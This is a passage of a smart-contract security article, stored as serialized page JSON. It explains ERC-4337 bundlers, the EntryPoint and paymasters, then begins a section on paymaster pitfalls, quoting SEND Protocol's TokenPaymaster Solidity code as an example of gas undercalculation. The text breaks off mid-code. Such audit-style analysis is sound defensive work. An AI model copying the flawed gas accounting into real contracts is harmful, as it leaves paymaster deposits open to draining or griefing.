limits.",{"type":26,"tag":41,"props":101673,"children":101675},{"id":101674},"bundler",[101676],{"type":32,"value":101677},"Bundler",{"type":26,"tag":35,"props":101679,"children":101680},{},[101681,101683,101688,101690,101696],{"type":32,"value":101682},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":26,"tag":53,"props":101684,"children":101686},{"className":101685},[],[101687],{"type":32,"value":101643},{"type":32,"value":101689},", packages them, and submits them in a single transaction to the ",{"type":26,"tag":53,"props":101691,"children":101693},{"className":101692},[],[101694],{"type":32,"value":101695},"EntryPoint",{"type":32,"value":101697}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":26,"tag":41,"props":101699,"children":101700},{"id":14430},[101701],{"type":26,"tag":53,"props":101702,"children":101704},{"className":101703},[],[101705],{"type":32,"value":101695},{"type":26,"tag":35,"props":101707,"children":101708},{},[101709,101710,101715,101717,101722,101724,101728,101730,101735],{"type":32,"value":16319},{"type":26,"tag":53,"props":101711,"children":101713},{"className":101712},[],[101714],{"type":32,"value":101695},{"type":32,"value":101716}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":26,"tag":53,"props":101718,"children":101720},{"className":101719},[],[101721],{"type":32,"value":101643},{"type":32,"value":101723}," submitted by a ",{"type":26,"tag":105,"props":101725,"children":101726},{},[101727],{"type":32,"value":101677},{"type":32,"value":101729},", the ",{"type":26,"tag":53,"props":101731,"children":101733},{"className":101732},[],[101734],{"type":32,"value":101695},{"type":32,"value":101736}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":26,"tag":35,"props":101738,"children":101739},{},[101740,101742,101747,101749,101753,101755,101760,101762,101768],{"type":32,"value":101741},"Once all operations have been processed, the ",{"type":26,"tag":53,"props":101743,"children":101745},{"className":101744},[],[101746],{"type":32,"value":101695},{"type":32,"value":101748}," calculates the total gas consumed and reimburses the ",{"type":26,"tag":105,"props":101750,"children":101751},{},[101752],{"type":32,"value":101677},{"type":32,"value":101754},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":26,"tag":53,"props":101756,"children":101758},{"className":101757},[],[101759],{"type":32,"value":101695},{"type":32,"value":101761}," or from a ",{"type":26,"tag":53,"props":101763,"children":101765},{"className":101764},[],[101766],{"type":32,"value":101767},"paymaster",{"type":32,"value":101769}," that has agreed to sponsor the transaction.",{"type":26,"tag":41,"props":101771,"children":101772},{"id":101767},[101773],{"type":26,"tag":53,"props":101774,"children":101776},{"className":101775},[],[101777],{"type":32,"value":101778},"Paymaster",{"type":26,"tag":35,"props":101780,"children":101781},{},[101782,101784,101789],{"type":32,"value":101783},"A ",{"type":26,"tag":53,"props":101785,"children":101787},{"className":101786},[],[101788],{"type":32,"value":101767},{"type":32,"value":101790}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":26,"tag":82,"props":101792,"children":101793},{},[101794,101805],{"type":26,"tag":86,"props":101795,"children":101796},{},[101797,101803],{"type":26,"tag":53,"props":101798,"children":101800},{"className":101799},[],[101801],{"type":32,"value":101802},"validatePaymasterUserOp()",{"type":32,"value":101804}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":26,"tag":86,"props":101806,"children":101807},{},[101808,101814],{"type":26,"tag":53,"props":101809,"children":101811},{"className":101810},[],[101812],{"type":32,"value":101813},"postOp()",{"type":32,"value":101815},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":26,"tag":35,"props":101817,"children":101818},{},[101819,101821,101826],{"type":32,"value":101820},"By supporting both sponsorship and token-based gas payments, ",{"type":26,"tag":53,"props":101822,"children":101824},{"className":101823},[],[101825],{"type":32,"value":101767},{"type":32,"value":101827}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":26,"tag":27,"props":101829,"children":101831},{"id":101830},"understanding-the-entrypoints-flow",[101832,101834,101839],{"type":32,"value":101833},"Understanding the ",{"type":26,"tag":53,"props":101835,"children":101837},{"className":101836},[],[101838],{"type":32,"value":101695},{"type":32,"value":101840},"'s Flow",{"type":26,"tag":35,"props":101842,"children":101843},{},[101844,101846,101851,101852,101857,101859,101870,101872,101877,101878,101883],{"type":32,"value":101845},"When a bundler submits ",{"type":26,"tag":53,"props":101847,"children":101849},{"className":101848},[],[101850],{"type":32,"value":101643},{"type":32,"value":16117},{"type":26,"tag":53,"props":101853,"children":101855},{"className":101854},[],[101856],{"type":32,"value":101695},{"type":32,"value":101858}," contract via ",{"type":26,"tag":116,"props":101860,"children":101863},{"href":101861,"rel":101862},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[120],[101864],{"type":26,"tag":53,"props":101865,"children":101867},{"className":101866},[],[101868],{"type":32,"value":101869},"handleOps()",{"type":32,"value":101871},", the processing occurs in two main phases: ",{"type":26,"tag":105,"props":101873,"children":101874},{},[101875],{"type":32,"value":101876},"Validation",{"type":32,"value":209},{"type":26,"tag":105,"props":101879,"children":101880},{},[101881],{"type":32,"value":101882},"Execution",{"type":32,"value":353},{"type":26,"tag":41,"props":101885,"children":101887},{"id":101886},"validation-phase",[101888],{"type":32,"value":101889},"Validation Phase",{"type":26,"tag":35,"props":101891,"children":101892},{},[101893,101895,101900,101902,101908,101910,101916,101917,101922],{"type":32,"value":101894},"In this phase, the ",{"type":26,"tag":53,"props":101896,"children":101898},{"className":101897},[],[101899],{"type":32,"value":101695},{"type":32,"value":101901}," first validates all operations in the submitted ",{"type":26,"tag":53,"props":101903,"children":101905},{"className":101904},[],[101906],{"type":32,"value":101907},"UserOps",{"type":32,"value":101909}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":26,"tag":53,"props":101911,"children":101913},{"className":101912},[],[101914],{"type":32,"value":101915},"UserOp",{"type":32,"value":101729},{"type":26,"tag":53,"props":101918,"children":101920},{"className":101919},[],[101921],{"type":32,"value":101695},{"type":32,"value":179},{"type":26,"tag":181,"props":101924,"children":101925},{},[101926,101944,101962,101983,101995],{"type":26,"tag":86,"props":101927,"children":101928},{},[101929,101936,101938],{"type":26,"tag":116,"props":101930,"children":101933},{"href":101931,"rel":101932},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[120],[101934],{"type":32,"value":101935},"Calculates",{"type":32,"value":101937}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":26,"tag":53,"props":101939,"children":101941},{"className":101940},[],[101942],{"type":32,"value":101943},"maxFeePerGas",{"type":26,"tag":86,"props":101945,"children":101946},{},[101947,101954,101955,101960],{"type":26,"tag":116,"props":101948,"children":101951},{"href":101949,"rel":101950},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[120],[101952],{"type":32,"value":101953},"Calls",{"type":32,"value":6171},{"type":26,"tag":53,"props":101956,"children":101958},{"className":101957},[],[101959],{"type":32,"value":101662},{"type":32,"value":101961}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":26,"tag":86,"props":101963,"children":101964},{},[101965,101967,101974,101976,101981],{"type":32,"value":101966},"If no paymaster is specified, attempts to ",{"type":26,"tag":116,"props":101968,"children":101971},{"href":101969,"rel":101970},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[120],[101972],{"type":32,"value":101973},"deduct",{"type":32,"value":101975}," the prefund amount from the sender's ETH deposit in the ",{"type":26,"tag":53,"props":101977,"children":101979},{"className":101978},[],[101980],{"type":32,"value":101695},{"type":32,"value":101982}," (this can be partially refunded later if actual execution costs less)",{"type":26,"tag":86,"props":101984,"children":101985},{},[101986,101993],{"type":26,"tag":116,"props":101987,"children":101990},{"href":101988,"rel":101989},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[120],[101991],{"type":32,"value":101992},"Validates",{"type":32,"value":101994}," the nonce to prevent replay attacks",{"type":26,"tag":86,"props":101996,"children":101997},{},[101998,102000,102006,102008,102014,102015,102020],{"type":32,"value":101999},"If a paymaster is specified, it will ",{"type":26,"tag":116,"props":102001,"children":102004},{"href":102002,"rel":102003},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[120],[102005],{"type":32,"value":101973},{"type":32,"value":102007}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":26,"tag":116,"props":102009,"children":102012},{"href":102010,"rel":102011},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[120],[102013],{"type":32,"value":37989},{"type":32,"value":6171},{"type":26,"tag":53,"props":102016,"children":102018},{"className":102017},[],[102019],{"type":32,"value":101802},{"type":32,"value":102021}," on the paymaster contract to verify it will cover gas costs",{"type":26,"tag":35,"props":102023,"children":102024},{},[102025,102027,102032,102034,102039],{"type":32,"value":102026},"Only after all these validation checks pass will the ",{"type":26,"tag":53,"props":102028,"children":102030},{"className":102029},[],[102031],{"type":32,"value":101695},{"type":32,"value":102033}," move on to actually executing the ",{"type":26,"tag":53,"props":102035,"children":102037},{"className":102036},[],[102038],{"type":32,"value":101614},{"type":32,"value":102040},". This strict validation flow ensures that:",{"type":26,"tag":82,"props":102042,"children":102043},{},[102044,102049,102054,102059],{"type":26,"tag":86,"props":102045,"children":102046},{},[102047],{"type":32,"value":102048},"The operation is legitimate and authorized by the user",{"type":26,"tag":86,"props":102050,"children":102051},{},[102052],{"type":32,"value":102053},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":26,"tag":86,"props":102055,"children":102056},{},[102057],{"type":32,"value":102058},"The operation cannot be replayed",{"type":26,"tag":86,"props":102060,"children":102061},{},[102062],{"type":32,"value":102063},"All involved contracts (sender and paymaster) have approved the execution",{"type":26,"tag":35,"props":102065,"children":102066},{},[102067],{"type":32,"value":102068},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":26,"tag":41,"props":102070,"children":102072},{"id":102071},"execution-phase",[102073],{"type":32,"value":102074},"Execution Phase",{"type":26,"tag":35,"props":102076,"children":102077},{},[102078,102080,102085,102087,102094,102096,102101],{"type":32,"value":102079},"After all operations have passed validation, the ",{"type":26,"tag":53,"props":102081,"children":102083},{"className":102082},[],[102084],{"type":32,"value":101695},{"type":32,"value":102086}," begins the ",{"type":26,"tag":116,"props":102088,"children":102091},{"href":102089,"rel":102090},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[120],[102092],{"type":32,"value":102093},"execution",{"type":32,"value":102095}," phase, processing each ",{"type":26,"tag":53,"props":102097,"children":102099},{"className":102098},[],[102100],{"type":32,"value":101614},{"type":32,"value":102102}," individually. For each operation, the flow is:",{"type":26,"tag":181,"props":102104,"children":102105},{},[102106,102166,102212],{"type":26,"tag":86,"props":102107,"children":102108},{},[102109,102110,102115,102117,102123,102124,102130,102132],{"type":32,"value":16319},{"type":26,"tag":53,"props":102111,"children":102113},{"className":102112},[],[102114],{"type":32,"value":101695},{"type":32,"value":102116}," makes a ",{"type":26,"tag":116,"props":102118,"children":102121},{"href":102119,"rel":102120},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[120],[102122],{"type":32,"value":37989},{"type":32,"value":56468},{"type":26,"tag":53,"props":102125,"children":102127},{"className":102126},[],[102128],{"type":32,"value":102129},"innerHandleOp()",{"type":32,"value":102131},", which:\n",{"type":26,"tag":82,"props":102133,"children":102134},{},[102135,102147,102152],{"type":26,"tag":86,"props":102136,"children":102137},{},[102138,102145],{"type":26,"tag":116,"props":102139,"children":102142},{"href":102140,"rel":102141},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[120],[102143],{"type":32,"value":102144},"Forwards",{"type":32,"value":102146}," the operation to the sender's smart account contract",{"type":26,"tag":86,"props":102148,"children":102149},{},[102150],{"type":32,"value":102151},"Executes the intended transaction(s) within the smart account",{"type":26,"tag":86,"props":102153,"children":102154},{},[102155,102157,102164],{"type":32,"value":102156},"Handles ",{"type":26,"tag":116,"props":102158,"children":102161},{"href":102159,"rel":102160},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[120],[102162],{"type":32,"value":102163},"post-execution",{"type":32,"value":102165}," tasks and cleanup",{"type":26,"tag":86,"props":102167,"children":102168},{},[102169,102171,102177,102179,102185,102186,102192,102194],{"type":32,"value":102170},"If a paymaster was used, ",{"type":26,"tag":53,"props":102172,"children":102174},{"className":102173},[],[102175],{"type":32,"value":102176},"Entrypoint",{"type":32,"value":102178}," will ",{"type":26,"tag":116,"props":102180,"children":102183},{"href":102181,"rel":102182},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[120],[102184],{"type":32,"value":37989},{"type":32,"value":6171},{"type":26,"tag":53,"props":102187,"children":102189},{"className":102188},[],[102190],{"type":32,"value":102191},"paymaster.postOp()",{"type":32,"value":102193}," to:\n",{"type":26,"tag":82,"props":102195,"children":102196},{},[102197,102202,102207],{"type":26,"tag":86,"props":102198,"children":102199},{},[102200],{"type":32,"value":102201},"Allow paymaster to finalize its accounting",{"type":26,"tag":86,"props":102203,"children":102204},{},[102205],{"type":32,"value":102206},"Process any refunds or additional charges",{"type":26,"tag":86,"props":102208,"children":102209},{},[102210],{"type":32,"value":102211},"Complete any paymaster-specific logic",{"type":26,"tag":86,"props":102213,"children":102214},{},[102215,102217,102222,102223,102230,102232],{"type":32,"value":102216},"Finally, after all operations are processed, the ",{"type":26,"tag":53,"props":102218,"children":102220},{"className":102219},[],[102221],{"type":32,"value":101695},{"type":32,"value":6171},{"type":26,"tag":116,"props":102224,"children":102227},{"href":102225,"rel":102226},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[120],[102228],{"type":32,"value":102229},"compensates",{"type":32,"value":102231}," the bundler for:\n",{"type":26,"tag":82,"props":102233,"children":102234},{},[102235,102240,102245],{"type":26,"tag":86,"props":102236,"children":102237},{},[102238],{"type":32,"value":102239},"Gas costs from executing all operations",{"type":26,"tag":86,"props":102241,"children":102242},{},[102243],{"type":32,"value":102244},"Overhead from submitting the batch transaction",{"type":26,"tag":86,"props":102246,"children":102247},{},[102248],{"type":32,"value":102249},"Any unused gas, which is refunded",{"type":26,"tag":35,"props":102251,"children":102252},{},[102253],{"type":32,"value":102254},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":26,"tag":35,"props":102256,"children":102257},{},[102258,102260,102265,102267,102273,102275,102280],{"type":32,"value":102259},"Now that we understand how the ",{"type":26,"tag":53,"props":102261,"children":102263},{"className":102262},[],[102264],{"type":32,"value":101695},{"type":32,"value":102266}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":26,"tag":53,"props":102268,"children":102270},{"className":102269},[],[102271],{"type":32,"value":102272},"paymasters",{"type":32,"value":102274}," that align with the ",{"type":26,"tag":53,"props":102276,"children":102278},{"className":102277},[],[102279],{"type":32,"value":101695},{"type":32,"value":102281},"'s execution model, leading to potential vulnerabilities.",{"type":26,"tag":35068,"props":102283,"children":102285},{"id":102284},"common-pitfalls-in-paymaster-implementation",[102286],{"type":32,"value":102287},"Common Pitfalls in Paymaster Implementation",{"type":26,"tag":35,"props":102289,"children":102290},{},[102291,102293,102298],{"type":32,"value":102292},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":26,"tag":53,"props":102294,"children":102296},{"className":102295},[],[102297],{"type":32,"value":101695},{"type":32,"value":102299}," to exploitation or griefing.",{"type":26,"tag":35,"props":102301,"children":102302},{},[102303,102305,102310],{"type":32,"value":102304},"In this section, we’ll walk through the ",{"type":26,"tag":105,"props":102306,"children":102307},{},[102308],{"type":32,"value":102309},"two most common pitfalls",{"type":32,"value":102311}," we’ve observed in real-world paymaster implementations:",{"type":26,"tag":27,"props":102313,"children":102315},{"id":102314},"undercalculated-gas-costs",[102316],{"type":26,"tag":105,"props":102317,"children":102318},{},[102319],{"type":32,"value":102320},"Undercalculated Gas Costs",{"type":26,"tag":35,"props":102322,"children":102323},{},[102324,102326,102331,102333,102338,102340,102345,102347,102354],{"type":32,"value":102325},"To understand this issue, let's first examine how gas penalties work in the ",{"type":26,"tag":53,"props":102327,"children":102329},{"className":102328},[],[102330],{"type":32,"value":101695},{"type":32,"value":102332},". When a ",{"type":26,"tag":53,"props":102334,"children":102336},{"className":102335},[],[102337],{"type":32,"value":101614},{"type":32,"value":102339}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":26,"tag":53,"props":102341,"children":102343},{"className":102342},[],[102344],{"type":32,"value":101695},{"type":32,"value":102346}," charges a ",{"type":26,"tag":116,"props":102348,"children":102351},{"href":102349,"rel":102350},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[120],[102352],{"type":32,"value":102353},"penalty of 10%",{"type":32,"value":102355}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":26,"tag":35,"props":102357,"children":102358},{},[102359],{"type":32,"value":102360},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":26,"tag":465,"props":102362,"children":102364},{"className":4186,"code":102363,"language":4185,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[102365],{"type":26,"tag":53,"props":102366,"children":102367},{"__ignoreMap":7},[102368,102412,102419,102476,102484,102492,102534,102541,102553,102575,102596,102626,102677,102707,102728,102766,102805,102822,102861,102885,102902,102945,102967,102984,103001,103008,103015,103041,103058,103093,103124,103136,103183,103190,103197,103204,103271,103278,103285,103292,103303,103322,103341,103405,103428,103461,103476,103511,103519,103558,103583,103604,103612,103639,103666,103674,103682,103724,103731,103738,103762,103778,103785,103792,103810,103823,103830,103838],{"type":26,"tag":475,"props":102369,"children":102370},{"class":477,"line":478},[102371,102375,102380,102385,102390,102394,102399,102403,102408],{"type":26,"tag":475,"props":102372,"children":102373},{"style":482},[102374],{"type":32,"value":89434},{"type":26,"tag":475,"props":102376,"children":102377},{"style":505},[102378],{"type":32,"value":102379}," TokenPaymaster",{"type":26,"tag":475,"props":102381,"children":102382},{"style":482},[102383],{"type":32,"value":102384}," is",{"type":26,"tag":475,"props":102386,"children":102387},{"style":505},[102388],{"type":32,"value":102389}," BasePaymaster",{"type":26,"tag":475,"props":102391,"children":102392},{"style":499},[102393],{"type":32,"value":637},{"type":26,"tag":475,"props":102395,"children":102396},{"style":505},[102397],{"type":32,"value":102398},"UniswapHelper",{"type":26,"tag":475,"props":102400,"children":102401},{"style":499},[102402],{"type":32,"value":637},{"type":26,"tag":475,"props":102404,"children":102405},{"style":505},[102406],{"type":32,"value":102407},"OracleHelper",{"type":26,"tag":475,"props":102409,"children":102410},{"style":499},[102411],{"type":32,"value":579},{"type":26,"tag":475,"props":102413,"children":102414},{"class":477,"line":516},[102415],{"type":26,"tag":475,"props":102416,"children":102417},{"style":499},[102418],{"type":32,"value":2219},{"type":26,"tag":475,"props":102420,"children":102421},{"class":477,"line":539},[102422,102426,102431,102435,102440,102445,102450,102454,102459,102463,102467,102472],{"type":26,"tag":475,"props":102423,"children":102424},{"style":482},[102425],{"type":32,"value":89451},{"type":26,"tag":475,"props":102427,"children":102428},{"style":493},[102429],{"type":32,"value":102430}," _validatePaymasterUserOp",{"type":26,"tag":475,"props":102432,"children":102433},{"style":499},[102434],{"type":32,"value":626},{"type":26,"tag":475,"props":102436,"children":102437},{"style":482},[102438],{"type":32,"value":102439},"PackedUserOperation",{"type":26,"tag":475,"props":102441,"children":102442},{"style":482},[102443],{"type":32,"value":102444}," calldata",{"type":26,"tag":475,"props":102446,"children":102447},{"style":2375},[102448],{"type":32,"value":102449}," userOp",{"type":26,"tag":475,"props":102451,"children":102452},{"style":499},[102453],{"type":32,"value":637},{"type":26,"tag":475,"props":102455,"children":102456},{"style":505},[102457],{"type":32,"value":102458},"bytes32",{"type":26,"tag":475,"props":102460,"children":102461},{"style":499},[102462],{"type":32,"value":637},{"type":26,"tag":475,"props":102464,"children":102465},{"style":505},[102466],{"type":32,"value":45861},{"type":26,"tag":475,"props":102468,"children":102469},{"style":2375},[102470],{"type":32,"value":102471}," requiredPreFund",{"type":26,"tag":475,"props":102473,"children":102474},{"style":499},[102475],{"type":32,"value":647},{"type":26,"tag":475,"props":102477,"children":102478},{"class":477,"line":548},[102479],{"type":26,"tag":475,"props":102480,"children":102481},{"style":482},[102482],{"type":32,"value":102483}," internal\n",{"type":26,"tag":475,"props":102485,"children":102486},{"class":477,"line":558},[102487],{"type":26,"tag":475,"props":102488,"children":102489},{"style":482},[102490],{"type":32,"value":102491}," override\n",{"type":26,"tag":475,"props":102493,"children":102494},{"class":477,"line":582},[102495,102500,102504,102508,102513,102517,102521,102525,102530],{"type":26,"tag":475,"props":102496,"children":102497},{"style":586},[102498],{"type":32,"value":102499}," returns",{"type":26,"tag":475,"props":102501,"children":102502},{"style":499},[102503],{"type":32,"value":2775},{"type":26,"tag":475,"props":102505,"children":102506},{"style":505},[102507],{"type":32,"value":83450},{"type":26,"tag":475,"props":102509,"children":102510},{"style":482},[102511],{"type":32,"value":102512}," memory",{"type":26,"tag":475,"props":102514,"children":102515},{"style":2375},[102516],{"type":32,"value":75969},{"type":26,"tag":475,"props":102518,"children":102519},{"style":499},[102520],{"type":32,"value":637},{"type":26,"tag":475,"props":102522,"children":102523},{"style":505},[102524],{"type":32,"value":45861},{"type":26,"tag":475,"props":102526,"children":102527},{"style":2375},[102528],{"type":32,"value":102529}," validationResult",{"type":26,"tag":475,"props":102531,"children":102532},{"style":499},[102533],{"type":32,"value":647},{"type":26,"tag":475,"props":102535,"children":102536},{"class":477,"line":596},[102537],{"type":26,"tag":475,"props":102538,"children":102539},{"style":499},[102540],{"type":32,"value":28889},{"type":26,"tag":475,"props":102542,"children":102543},{"class":477,"line":610},[102544,102549],{"type":26,"tag":475,"props":102545,"children":102546},{"style":586},[102547],{"type":32,"value":102548}," unchecked",{"type":26,"tag":475,"props":102550,"children":102551},{"style":499},[102552],{"type":32,"value":579},{"type":26,"tag":475,"props":102554,"children":102555},{"class":477,"line":650},[102556,102561,102566,102570],{"type":26,"tag":475,"props":102557,"children":102558},{"style":505},[102559],{"type":32,"value":102560}," uint256",{"type":26,"tag":475,"props":102562,"children":102563},{"style":499},[102564],{"type":32,"value":102565}," priceMarkup ",{"type":26,"tag":475,"props":102567,"children":102568},{"style":714},[102569],{"type":32,"value":786},{"type":26,"tag":475,"props":102571,"children":102572},{"style":499},[102573],{"type":32,"value":102574}," tokenPaymasterConfig.priceMarkup;\n",{"type":26,"tag":475,"props":102576,"children":102577},{"class":477,"line":679},[102578,102582,102587,102591],{"type":26,"tag":475,"props":102579,"children":102580},{"style":505},[102581],{"type":32,"value":102560},{"type":26,"tag":475,"props":102583,"children":102584},{"style":499},[102585],{"type":32,"value":102586}," baseFee ",{"type":26,"tag":475,"props":102588,"children":102589},{"style":714},[102590],{"type":32,"value":786},{"type":26,"tag":475,"props":102592,"children":102593},{"style":499},[102594],{"type":32,"value":102595}," tokenPaymasterConfig.baseFee;\n",{"type":26,"tag":475,"props":102597,"children":102598},{"class":477,"line":735},[102599,102603,102608,102612,102617,102621],{"type":26,"tag":475,"props":102600,"children":102601},{"style":505},[102602],{"type":32,"value":102560},{"type":26,"tag":475,"props":102604,"children":102605},{"style":499},[102606],{"type":32,"value":102607}," dataLength ",{"type":26,"tag":475,"props":102609,"children":102610},{"style":714},[102611],{"type":32,"value":786},{"type":26,"tag":475,"props":102613,"children":102614},{"style":499},[102615],{"type":32,"value":102616}," userOp.paymasterAndData.length ",{"type":26,"tag":475,"props":102618,"children":102619},{"style":714},[102620],{"type":32,"value":4039},{"type":26,"tag":475,"props":102622,"children":102623},{"style":499},[102624],{"type":32,"value":102625}," PAYMASTER_DATA_OFFSET;\n",{"type":26,"tag":475,"props":102627,"children":102628},{"class":477,"line":744},[102629,102634,102639,102643,102647,102651,102655,102659,102664,102668,102673],{"type":26,"tag":475,"props":102630,"children":102631},{"style":586},[102632],{"type":32,"value":102633}," require",{"type":26,"tag":475,"props":102635,"children":102636},{"style":499},[102637],{"type":32,"value":102638},"(dataLength ",{"type":26,"tag":475,"props":102640,"children":102641},{"style":714},[102642],{"type":32,"value":8287},{"type":26,"tag":475,"props":102644,"children":102645},{"style":903},[102646],{"type":32,"value":2752},{"type":26,"tag":475,"props":102648,"children":102649},{"style":714},[102650],{"type":32,"value":23407},{"type":26,"tag":475,"props":102652,"children":102653},{"style":499},[102654],{"type":32,"value":102607},{"type":26,"tag":475,"props":102656,"children":102657},{"style":714},[102658],{"type":32,"value":8287},{"type":26,"tag":475,"props":102660,"children":102661},{"style":903},[102662],{"type":32,"value":102663}," 32",{"type":26,"tag":475,"props":102665,"children":102666},{"style":499},[102667],{"type":32,"value":637},{"type":26,"tag":475,"props":102669,"children":102670},{"style":629},[102671],{"type":32,"value":102672},"\"TPM: invalid data length\"",{"type":26,"tag":475,"props":102674,"children":102675},{"style":499},[102676],{"type":32,"value":3533},{"type":26,"tag":475,"props":102678,"children":102679},{"class":477,"line":753},[102680,102684,102689,102693,102698,102703],{"type":26,"tag":475,"props":102681,"children":102682},{"style":505},[102683],{"type":32,"value":102560},{"type":26,"tag":475,"props":102685,"children":102686},{"style":499},[102687],{"type":32,"value":102688}," maxFeePerGas ",{"type":26,"tag":475,"props":102690,"children":102691},{"style":714},[102692],{"type":32,"value":786},{"type":26,"tag":475,"props":102694,"children":102695},{"style":499},[102696],{"type":32,"value":102697}," 